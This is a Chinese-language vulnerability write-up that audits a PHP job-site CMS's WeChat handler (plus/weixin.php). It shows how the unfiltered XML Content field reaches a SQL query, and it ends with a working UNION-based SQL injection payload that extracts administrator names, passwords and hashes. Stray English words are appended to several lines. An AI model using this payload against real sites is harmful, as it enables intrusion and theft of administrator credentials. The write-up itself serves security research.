版本爲最新的20140808php
0x01代碼分析sql
看到\plus\weixin.php有以下代碼數據庫
public function responseMsg() { $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = iconv("utf-8","gb2312",$keyword); $time = time(); $event = trim($postObj->Event); if ($event === "subscribe") { $word= "回覆j返回緊急招聘,回覆n返回最新招聘!您能夠嘗試輸入職位名稱如「會計」,系統將會返回您要找的信息,咱們努力打造最人性化的服務平臺,謝謝關注。"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } if (!empty($keyword)) { if($_CFG['sina_apiopen']=='0') { $word="網站微信接口已經關閉"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } $limit=" LIMIT 6"; $orderbysql=" ORDER BY refreshtime DESC"; if($keyword=="n") { $jobstable=table('jobs_search_rtime'); } else if($keyword=="j") { $jobstable=table('jobs_search_rtime'); $wheresql=" where `emergency`=1 "; } else { $jobstable=table('jobs_search_key'); $wheresql.=" where likekey LIKE '%{$keyword}%' "; } $word=''; $list = $id = array(); $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit); while($row = $this->fetch_array($idresult)) { $id[]=$row['id']; } if (!empty($id)) { $wheresql=" WHERE id IN (".implode(',',$id).") "; $result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql); while($row = $this->fetch_array($result)) { //$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id'])); $row['addtime']=date("Y-m-d",$row['addtime']); $row['deadline']=date("Y-m-d",$row['deadline']); $row['refreshtime']=date("Y-m-d",$row['refreshtime']); $word.="{$row['companyname']}\n招聘職位:{$row['jobs_name']}\n薪金待遇:{$row['wage_cn']}\n招聘人數:{$row['amount']}\n發佈日期:{$row['addtime']}\n截止日期:{$row['deadline']} \n--------------------------\n"; } } if(empty($word)) { $word="沒有找到包含關鍵字 {$keyword} 的信息,試試其餘關鍵字"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } else { $word=rtrim($word,'/\n'); $word=rtrim($word,'-'); $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } } else { exit(""); } } }
使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收參數,這個相似於POST,可是和POST有點點不同。若是提提交a=1,它接收的也是a=1。而後繼續看代碼,咱們傳進來的值通過了simplexml_load_string這個函數,這個函數是用來解析xml的。而後咱們看到$keyword,跟蹤一下$keyword發現直接進入了數據庫。這個中間是沒有任何過濾的。可是,看到有單引號,不過不要緊咱們傳進來的參數的不受GPC影響的。而後如何利用呢?咱們應該構造一個惡意的xml,來進行注入。api
0x02漏洞利用微信
咱們看到$keyword的內容是經過</Content>得到的,那咱們就構造這樣的xmlssh
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xml><Content>1%' union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content> </xml>
因爲是白盒測試,因此數據庫結構咱們是知道的,而後直接構造exp就行。函數